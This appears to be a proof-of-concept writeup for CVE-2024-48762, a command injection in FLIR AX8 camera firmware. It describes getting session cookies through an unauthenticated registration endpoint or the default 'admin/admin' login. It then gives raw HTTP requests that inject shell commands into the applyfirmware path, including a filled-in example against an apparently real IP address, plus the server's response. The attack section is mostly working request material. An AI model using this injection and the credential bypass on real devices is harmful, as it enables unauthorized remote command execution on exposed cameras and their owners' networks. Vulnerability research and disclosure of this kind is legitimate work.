CVE-2024-48762 PoC

Description

Command injection vulnerability in FLIR AX8 up to 1.46.16

介绍

## CVE-2024-48762

### Description

Command injection vulnerability in /usr/www/application/models/settingscamera.php  in FLIR AX8 up to 1.46.16 allows attackers to run arbitrary commands via the value parameter.

### Note:

This vulnerability is a backend issue that requires obtaining cookies. It  can exploit the unauthorized access vulnerability for arbitrary user  registration found at /tools/test_login.php?action=register. After  registering a new user, cookies can be obtained to achieve RCE (Remote  Code Execution). 

Also.Under normal circumstances, it has a weak password vulnerability with  default account credentials being 'admin' for both user and password too.  You can also obtain a cookie through this method.

### POC

```
GET /settings/applyfirmware/;id>test123.txt;/false HTTP/1.1
Host: XXXX
Priority: u=0, i
Accept-Encoding: gzip, deflate
Referer: XXXX
Cookie: XXXX
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
```

**For example**

- This cookie must be changed

```
GET /settings/applyfirmware/;id>test123.txt;/false HTTP/1.1
Host: 222.103.211.89:8004
Priority: u=0, i
Accept-Encoding: gzip, deflate
Referer: http://222.103.211.89:8004/
Cookie: theme=light; distanceUnit=metric; temperatureUnit=celsius; showCameraId=false; clientTimeZoneOffset=-480; clientTimeZoneDST=0; PHPSESSID=fede7f79f208effcb87474d02fe6d53d
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
```



### Response

```
HTTP/1.1 200 OK
X-Powered-By: PHP/5.4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html
Date: Mon, 11 Feb 2002 09:18:49 GMT
Server: lighttpd/1.4.33
```



![image-1](https://xu17-1326239041.cos.ap-guangzhou.myqcloud.com/xu17/202412162052579.png)

![image-2](https://xu17-1326239041.cos.ap-guangzhou.myqcloud.com/xu17/202412162052081.png)

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